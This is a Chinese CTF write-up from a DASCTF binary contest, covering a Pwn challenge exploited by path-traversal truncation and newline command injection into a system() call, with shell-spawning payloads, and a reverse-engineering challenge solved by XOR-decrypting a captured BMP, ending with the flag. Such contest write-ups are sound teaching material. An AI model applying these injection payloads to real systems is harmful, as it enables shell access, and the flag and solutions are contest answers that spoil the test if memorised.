前言

上个周末也是参加了buu的DASCTF的二进制专项赛,只有Pwn和Reverse,做了一天题也就做出来两道hhh题目很难,实属二进制坐牢专项赛。

和余师傅组的队最终是做出来四道题目,排名21 成绩还可以。

我出的分别是逆向的cap和Pwn的Server,做的过程不易故此记录一下。

[Pwn]server

这道题相比Pwn更像是web的命令执行过滤绕过题。

分析

64位程序,PIE保护。IDA打开分析:

main函数是检测用户输入,功能1是验证身份,功能2是添加用户,只有当功能1验证身份成功时才能使用功能2,所以这边我们先跟进功能1查看:

功能1

unsigned __int64 sub_141A()
{
char s[32]; // [rsp+0h] [rbp-60h] BYREF
char name[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Hello, CTFer.");
puts("Please input the key of admin : ");
fgets(s, 28, stdin);
snprintf(name, 0x20uLL, "/keys/%s.key", s);
if ( access(name, 0) == -1 )
{
puts("Sorry, you are not winmt.");
}
else
{
puts("Hello, winmt.");
dword_404C = 1;
}
return __readfsqword(0x28u) ^ v3;
}

这里的 snprintf 是赋值的作用,将得到的字符串s带入/keys/%s.key 最后赋值给 name 变量

access的作用是判断一个文件或文件夹是否存在。

所以大致功能就是将用户输入的字符串带入到 /keys/%s.key 中,然后检测这个文件是否存在。

漏洞就出现在s长度和name长度不一致导致的变量覆盖。这里s数组长度是28,name数组长度为32(0x20),s加上/keys/.key字符总共有 10+28=38的长度,明显大于name长度。

利用这一点,我们可以将name变量尾部的.key给覆盖掉,同时利用 ../实现目录穿越给到一个存在的文件或文件夹。

注意这里构造payload时只能有./,不能构造其它的字符串。比如/keys/aaaa/../../这种,由于aaaa目录不存在所以会导致access返回结果为false。其实和cd类似,测试的时候可以直接用cd测试一个路径。

还有构造的字符串要记得少一个,因为输入的时候换行符也占一个输入,否则就会绕不过去。

content = "../../../../../././keys"

key = "/keys/%s.key"%content

print(key[:32])

PS C:\Users\test> & D:/Python37/python.exe c:/Users/test/Desktop/try.py
/keys/../../../../.././././keys.
PS C:\Users\test>

可以看到成功绕过了第一层。

功能2

unsigned __int64 sub_16B5()
{
char v1[16]; // [rsp+10h] [rbp-50h] BYREF
char s[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Hello, winmt.");
puts("Please input the username to add : ");
if ( (unsigned int)sub_14DA(v1) == -1 )
{
puts("Woc! You're a hacker!");
dword_404C = 0;
exit(-1);
}
snprintf(s, 0x30uLL, "add_user -u '%s' -p '888888'", v1);
system(s);
puts("Success!");
return __readfsqword(0x28u) ^ v3;
}

同样是输入字符串,将输入的字符串经过 sub_14DA 函数判断后,带入到 add_user -u '%s' -p '888888' 中,然后system执行。

我们跟进 sub_14DA 函数分析:

__int64 __fastcall sub_14DA(__int64 a1)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i <= 9; ++i )
{
read(0, (void *)(i + a1), 1uLL);
if ( *(_BYTE *)(i + a1) == 10 )
return 1LL;
if ( *(_BYTE *)(i + a1) == 59
|| *(_BYTE *)(i + a1) == 96
|| *(_BYTE *)(i + a1) == 38
|| *(_BYTE *)(i + a1) == 124
|| *(_BYTE *)(i + a1) == 36
|| *(_BYTE *)(i + a1) == 40
|| *(_BYTE *)(i + a1) == 32
|| *(_BYTE *)(i + a1) == 41
|| *(_BYTE *)(i + a1) == 123
|| *(_BYTE *)(i + a1) == 125
|| *(_BYTE *)(i + a1) == 45
|| *(_BYTE *)(i + a1) == 47
|| *(_BYTE *)(i + a1) == 92 )
{
*(_BYTE *)(i + a1) = 0;
return 0xFFFFFFFFLL;
}
if ( *(_BYTE *)(i + a1) != 115 )
{
result = *(unsigned __int8 *)(i + a1);
if ( (_BYTE)result != 104 )
continue;
}
*(_BYTE *)(i + a1) = 0;
return 0xFFFFFFFFLL;
}
return result;
}

从该函数可以得知,for循环了10次 所以这里输入的字符串长度为10。

同时会对输入的字符串每个字符进行判断,如果字符在程序里的ascii中就会返回false,是一个黑名单过滤,有以下字符:

所以大致思路就是通过输入的字符串绕过 add_user -u '%s' -p '888888'这一段话然后命令执行。

这里单引号没有被过滤,所以输入的字符串可以绕过这个引号。

这里测试绕过最好是gdb调试,这样更加直观:

非预期&思路&Payload

当时调到这里就懵逼了,咋还有个keys?然后发现就是功能1输入的部分,再仔细看代码发现和功能1用的是同一个变量:

snprintf(s, 0x30uLL, "add_user -u '%s' -p '888888'", v1);

这题算是非预期吧,做完问了下winmt师傅 winmt✌自己都懵了哈哈哈,题目设置的有点bug,这里的变量s和功能1用的是同一个导致了非预期解。

所以思路就打开了,既然这里用的是同一个变量,那么就可以利用起来。

首先当前绕过我们可以用单引号’ 来绕过引号限制,然后想要执行别的命令 已知的逻辑运算符基本都被过滤了,那咋办呢?调试的时候发现了换行符,便想到换行符也可以绕过从而命令执行:

因为功能1和功能2输入的时候都有换行,所以就造成了两条命令的分割:

add_user -u 'aaaa'\n../../keys\n' -p '888888'

第一个换行符造成了第二条命令的执行,第二个换行符又同时把单引号分割开了 起到了注释的作用。所以这里我们只需要保证 ../../keys的部分能够命令执行即可。

那么,如果将功能1输入的部分换成/bin/sh不就能拿到shell了吗?同时/bin/sh又是一个文件 符合功能1的条件。

python测试下:

测试可行,那么我们构造下/bin/sh的语句。

../../../../../././bin/sh

然后去gdb调试,最好打好断点去调试测试,这样很直观就能知道哪里需要填充多少。

这里功能2输入的部分要填充功能1不必要的部分。

很显然可以只输入一个单引号,语句就变成了这样:

add_user -u ''\n/bin/sh\n' -p '888888'

或者我们把/bin去掉,构造sh:

add_user -u 'aaaaa'\nsh\n' -p '888888'

二者都可以,带入程序得到shell

Payload1:

1: ../../../../../././bin/sh
2: '

Payload2:

1: ../../../../../././bin/sh
2: aaaaa'

比赛的时候测试了一个上午做出来的,做完发现第四…差一点三血 比较可惜哈哈。

winmt师傅的Payload

winmt✌太强了

winmt师傅预期解是用tab和换行绕过,如果功能1和功能2不是同个变量那这题绕过确实还要花点脑筋的。

学到东西了!

[Reverse]cap

这题看了我好几个小时终于做出来了,太菜了呜呜呜

调试的地狱绘图:

分析

附件给个一个exe程序和bin数据文件。

cap.bin:

re3.exe 64位无壳。

程序大致作用就是对当前屏幕进行捕获,然后将得到的缓冲数据进行加密后,写入到bin数据文件。

主函数:

__int64 __fastcall sub_140001030(HWND hWnd)
{
HBITMAP v2; // r14
HDC hdcSrc; // r13
HDC v4; // rsi
HDC v5; // r15
int hSrc; // ebx
int wSrc; // eax
HBITMAP v8; // rax
signed int v9; // ebx
HANDLE v10; // rax
void *v11; // r12
signed int v12; // er10
_BYTE *v13; // r9
int v14; // ecx
int v15; // edx
void *lpBuffer; // [rsp+60h] [rbp-59h]
HGLOBAL hMem; // [rsp+68h] [rbp-51h]
struct tagRECT Rect; // [rsp+70h] [rbp-49h] BYREF
struct tagBITMAPINFO bmi; // [rsp+80h] [rbp-39h] BYREF
char v21; // [rsp+ACh] [rbp-Dh]
char v22; // [rsp+ADh] [rbp-Ch]
char v23; // [rsp+AEh] [rbp-Bh]
char v24; // [rsp+AFh] [rbp-Ah]
char v25; // [rsp+B0h] [rbp-9h]
char v26; // [rsp+B1h] [rbp-8h]
int v27; // [rsp+B2h] [rbp-7h]
DWORD NumberOfBytesWritten; // [rsp+B8h] [rbp-1h] BYREF
char pv[4]; // [rsp+C0h] [rbp+7h] BYREF
LONG v30; // [rsp+C4h] [rbp+Bh]
UINT cLines; // [rsp+C8h] [rbp+Fh]

NumberOfBytesWritten = 0;
v2 = 0i64;
hdcSrc = GetDC(0i64);
v4 = GetDC(hWnd);
v5 = CreateCompatibleDC(v4);
if ( v5 )
{
GetClientRect(hWnd, &Rect);
SetStretchBltMode(v4, 4);
hSrc = GetSystemMetrics(1);
wSrc = GetSystemMetrics(0);
if ( StretchBlt(v4, 0, 0, Rect.right, Rect.bottom, hdcSrc, 0, 0, wSrc, hSrc, 0xCC0020u) )
{
v8 = CreateCompatibleBitmap(v4, Rect.right - Rect.left, Rect.bottom - Rect.top);
v2 = v8;
if ( v8 )
{
SelectObject(v5, v8);
if ( BitBlt(v5, 0, 0, Rect.right - Rect.left, Rect.bottom - Rect.top, v4, 0, 0, 0xCC0020u) )
{
GetObjectW(v2, 32, pv);
bmi.bmiHeader.biWidth = v30;
bmi.bmiHeader.biHeight = cLines;
bmi.bmiHeader.biSize = 40;
*(_QWORD *)&bmi.bmiHeader.biPlanes = 2097153i64;
*(_QWORD *)&bmi.bmiHeader.biSizeImage = 0i64;
*(_QWORD *)&bmi.bmiHeader.biYPelsPerMeter = 0i64;
bmi.bmiHeader.biClrImportant = 0;
v9 = 4 * cLines * ((32 * v30 + 31) / 32);
hMem = GlobalAlloc(0x42u, (unsigned int)v9);
lpBuffer = GlobalLock(hMem);
GetDIBits(v4, v2, 0, cLines, lpBuffer, &bmi, 0);
v10 = CreateFileW(L"cap.bin", 0x40000000u, 0, 0i64, 2u, 0x80u, 0i64);
v23 ^= 0x64u;
v24 ^= 0x61u;
v11 = v10;
v25 ^= 0x73u;
v26 ^= 0x63u;
bmi.bmiHeader.biSize ^= 0x79625F63u;
bmi.bmiHeader.biWidth ^= 0x7361645Fu;
bmi.bmiHeader.biHeight ^= 0x65667463u;
*(_QWORD *)&bmi.bmiHeader.biPlanes ^= 0x61645F79625F636Eui64;
bmi.bmiColors[0].rgbReserved = ((unsigned __int16)(v9 + 54) >> 8) ^ 0x62;
v21 = ((unsigned int)(v9 + 54) >> 16) ^ 0x79;
v22 = ((unsigned int)(v9 + 54) >> 24) ^ 0x5F;
v27 = 1852139074;
bmi.bmiColors[0].rgbGreen = 46;
bmi.bmiColors[0].rgbBlue = 44;
bmi.bmiColors[0].rgbRed = (v9 + 54) ^ 0x5F;
v12 = 0;
*(_QWORD *)&bmi.bmiHeader.biSizeImage ^= 0x5F636E6566746373ui64;
*(_QWORD *)&bmi.bmiHeader.biYPelsPerMeter ^= 0x74637361645F7962ui64;
bmi.bmiHeader.biClrImportant ^= 0x636E6566u;
if ( v9 > 0 )
{
v13 = lpBuffer;
do
{
v14 = v12 + 3;
v15 = (unsigned __int64)(1321528399i64 * (v12 + 3)) >> 32;
++v12;
*v13++ ^= aEncByDasctf[v14 - 13 * (((unsigned int)v15 >> 31) + (v15 >> 2))];
}
while ( v12 < v9 );
}
WriteFile(v10, bmi.bmiColors, 0xEu, &NumberOfBytesWritten, 0i64);
WriteFile(v11, &bmi, 0x28u, &NumberOfBytesWritten, 0i64);
WriteFile(v11, lpBuffer, v9, &NumberOfBytesWritten, 0i64);
GlobalUnlock(hMem);
GlobalFree(hMem);
CloseHandle(v11);
}
else
{
MessageBoxW(hWnd, L"BitBlt has failed", L"Failed", 0);
}
}
else
{
MessageBoxW(hWnd, L"CreateCompatibleBitmap Failed", L"Failed", 0);
}
}
else
{
MessageBoxW(hWnd, L"StretchBlt has failed", L"Failed", 0);
}
}
else
{
MessageBoxW(hWnd, L"CreateCompatibleDC has failed", L"Failed", 0);
}
DeleteObject(v2);
DeleteObject(v5);
ReleaseDC(0i64, hdcSrc);
ReleaseDC(hWnd, v4);
return 0i64;
}

这题还是要多调试,看变量值才能理解代码。

前面都是创建bmp图像的初始操作,主要的部分:

这里定义了bmp图像的文件头属性,包括宽度、高度、尺寸以及图像的颜色等等。

先不用管这些值具体是多少,理解代码即可。

注意这里创建了 cap.bin 我们继续往下看

bin数据1-14字节

有个明显的 WriteFile 说明bin文件的数据都来自这,那我们分析都写了什么东西就知道bin文件数据的意思了。

WriteFile(v10, bmi.bmiColors, 0xEu, &NumberOfBytesWritten, 0i64); //第一行

这里是 bmi.bmiColors 说明第一个写入的是bmiColors的信息,写入了 0xE(14) 的数据。

我们看bmicolors的部分:

有直接告诉我们值,这里 Red 和Reverse的值静态调试看不明白,调试一下就知道了 先不管。

所以按照Reverse R G B的顺序逆序写入,hex分析第一和第二字节应该是 0x2c(44) 和 0x2e(46)

第一部分的数据如下:

没错说明我们分析的没错。至于后面的10字节的部分我们可以不管。

bin数据15-54数据

WriteFile(v11, &bmi, 0x28u, &NumberOfBytesWritten, 0i64); //第二行

第二行是将 &bmi 的部分写入 0x28(40) 的数据,bmi包括上面定义的header文件头信息。

这里我没太看懂数据的含义,所以直接忽略了,因为主要的部分其实是第三部分,所以这里忽略其实问题不大。

第二部分的数据如下:

bin数据55-End数据

WriteFile(v11, lpBuffer, v9, &NumberOfBytesWritten, 0i64); //第三行

第三行就是最后的数据了。将 lpBuffer 写入 v9 的长度,其实就是图像的大小。

这里是最关键的部分,我们跟进找下 lpBuffer 哪里有引用:

首先是用了 GetDIBits 函数生成了 lpBuffer ,这个函数我在网上找了下相关的文章(资料是真的少)

(https://www.cnblogs.com/GreyWang/p/17123873.html)

很显然这个函数是用来获取图像的数据的,根据它文章的例子能发现GetDIBits的第5个参数就是缓冲区数据,也就是我们这个程序中的 lpBuffer

之后再次调用就是对这个缓冲区数据进行加密了:

IDA编译的有些问题,简化下就是下面的部分:

do
{
v14 = v12 + 3;
v15 = (1321528399 * v14) >> 32;
v12 = v12 + 1;
lpBuffer ^= aEncByDasctf[v14 - 13 * ((v15 >> 31) + (v15 >> 2))];
}
while ( v12 < v9 );

aEncByDasctf -> enc_by_dasctf

一个很简单的加密,由于是异或所以我们解密其实照着写就可以了。

思路

这个 lpBuffer 虽然都说是缓冲区数据,但这个数据到底是什么,我没有在网上的文档找到,所以当时做的时候打算先把这个东西还原出来,然后再去猜测、分析。

最后发现这里的数据就是捕获到的图像的RGB值。

其实前面第一部分和第二部分的16进制数据没搞懂有什么用,到最后也确实没用上hhh

数据还原脚本

这里读取下数据,然后把算法逆向解密一下即可得到lpBuffer的原数据,最后写到新文件里分析。

import binascii
from PIL import Image

def read_data():

f = open('cap.bin','rb')

f.read(14+40)

content = f.read()

return content

def decode(data):
v12 = 0
string = b'enc_by_dasctf'
result = [0] * len(data)
for i in range(len(data)):
v14 = v12 + 3

v15 = (0x4EC4EC4F * v14)>>32
result[v12] = hex(string[v14 - 13 * ((v15 >> 31 ) + (v15 >> 2))] ^ data[v12])[2:].zfill(2)
v12 += 1

return binascii.unhexlify(''.join(result))

def encode():
v12 = 0
string = b'enc_by_dasctf'
v13 = [0xda,0xda,0xda]
for i in range(len(v13)):
v14 = v12 + 3

v15 = (0x4EC4EC4F * v14)>>32
v13[v12] ^= string[v14 - 13 * ((v15 >> 31 ) + (v15 >> 2))]
v12 += 1

print(v13)


data = read_data()

content = decode(data)
open('capDecode.bin','wb').write(content)

运行得到capDecode.bin:

这个东西其实我是猜测出来的,加上当时看到一道比较类似的题目:

http://1o1o.xyz/CSDN/170926%20%E9%80%86%E5%90%91-Reversing.kr%EF%BC%88ImagePrc%EF%BC%89_%E5%A5%88%E6%B2%99%E5%A4%9C%E5%BD%B1%E7%9A%84%E5%8D%9A%E5%AE%A2.pdf

直觉告诉我这肯定是RGB值啊,每3个数据一组 很多一样的16进制。

那么就根据猜想继续写脚本,至于图片的长度和宽度可以先设置大一些,然后再慢慢调整。

图像还原脚本

import binascii
from PIL import Image


def read_data():

f = open('cap.bin','rb')

f.read(14+40)

content = f.read()

return content

def decode(data):
v12 = 0
string = b'enc_by_dasctf'
result = [0] * len(data)
for i in range(len(data)):
v14 = v12 + 3

v15 = (0x4EC4EC4F * v14)>>32
result[v12] = hex(string[v14 - 13 * ((v15 >> 31 ) + (v15 >> 2))] ^ data[v12])[2:].zfill(2)
v12 += 1

return binascii.unhexlify(''.join(result))

def encode():
v12 = 0
string = b'enc_by_dasctf'
v13 = [0xda,0xda,0xda]
for i in range(len(v13)):
v14 = v12 + 3

v15 = (0x4EC4EC4F * v14)>>32
v13[v12] ^= string[v14 - 13 * ((v15 >> 31 ) + (v15 >> 2))]
v12 += 1

print(v13)


data = read_data()
#
#decodeFile = open('capDecode2.bin','wb')
content = decode(data)

'''content = open('capDecode2.bin','rb').read()


im = Image.frombytes('RGB', (1280,960), content)
im = im.transpose(Image.FLIP_TOP_BOTTOM)
im.show()
im.save('result.bmp')'''

width = 2560*2
height = 256

img = Image.new('RGB',(width,height))
x = 0
y = 0

for i in range(0,len(content),3):


try:
R,G,B = content[i:i+3]
img.putpixel((x,y),(R,G,B))
except Exception as e:
print(x,y,e)
pass

x += 1

if x == width:
y += 1
x = 0

img = img.transpose(Image.FLIP_TOP_BOTTOM)
img.save('tmp.bmp')
img.show()

注意这里bmp要用 img.transpose(Image.FLIP_TOP_BOTTOM) 旋转下,不然图像是逆转的。

同时可以直接用我注释的部分实现还原,省了不少代码 唯一不足就是宽高必须正确填写。

这里图像宽高其实就是1280*960。

因为这里大小为3,686,400 ,除去3就是1228800,即1280*960。

但是宽高我测试过来2560*2 256看的比较清楚

运行得到图像:

能看到flag,但是看不清 这题是真的阴间。。看的我眼睛瞎。

用PS拉伸宽度+提高曝光度下得到一张完美的图像:

这里e 很容易看成c,但是你放大对比下就发现有区别。多试几次得到flag

预期解

其实可以通过调试发现cap.bin每个字节都在与 enc_by_dasctf 异或,且在0~12循环,所以每个字节异或就可以得到原bmp图像。

key = "enc_by_dasctf"
with open('cap.bin', 'rb') as f:
s = bytearray(f.read())
for i in range(len(s)):
s[i] ^= ord(key[(i+1) % len(key)])
with open('flag.bmp', 'wb') as f:
f.write(s)

flag

DASCTF{3d0bd550-edbe-11ed-b2a3-f1d90bff20c4}

本来想讲下调试的过程的,但其实想了想调试就是为了方便能看懂代码,这个过程文章写起来又太麻烦,所以就不写了,笔者复现最好多调试便于理解。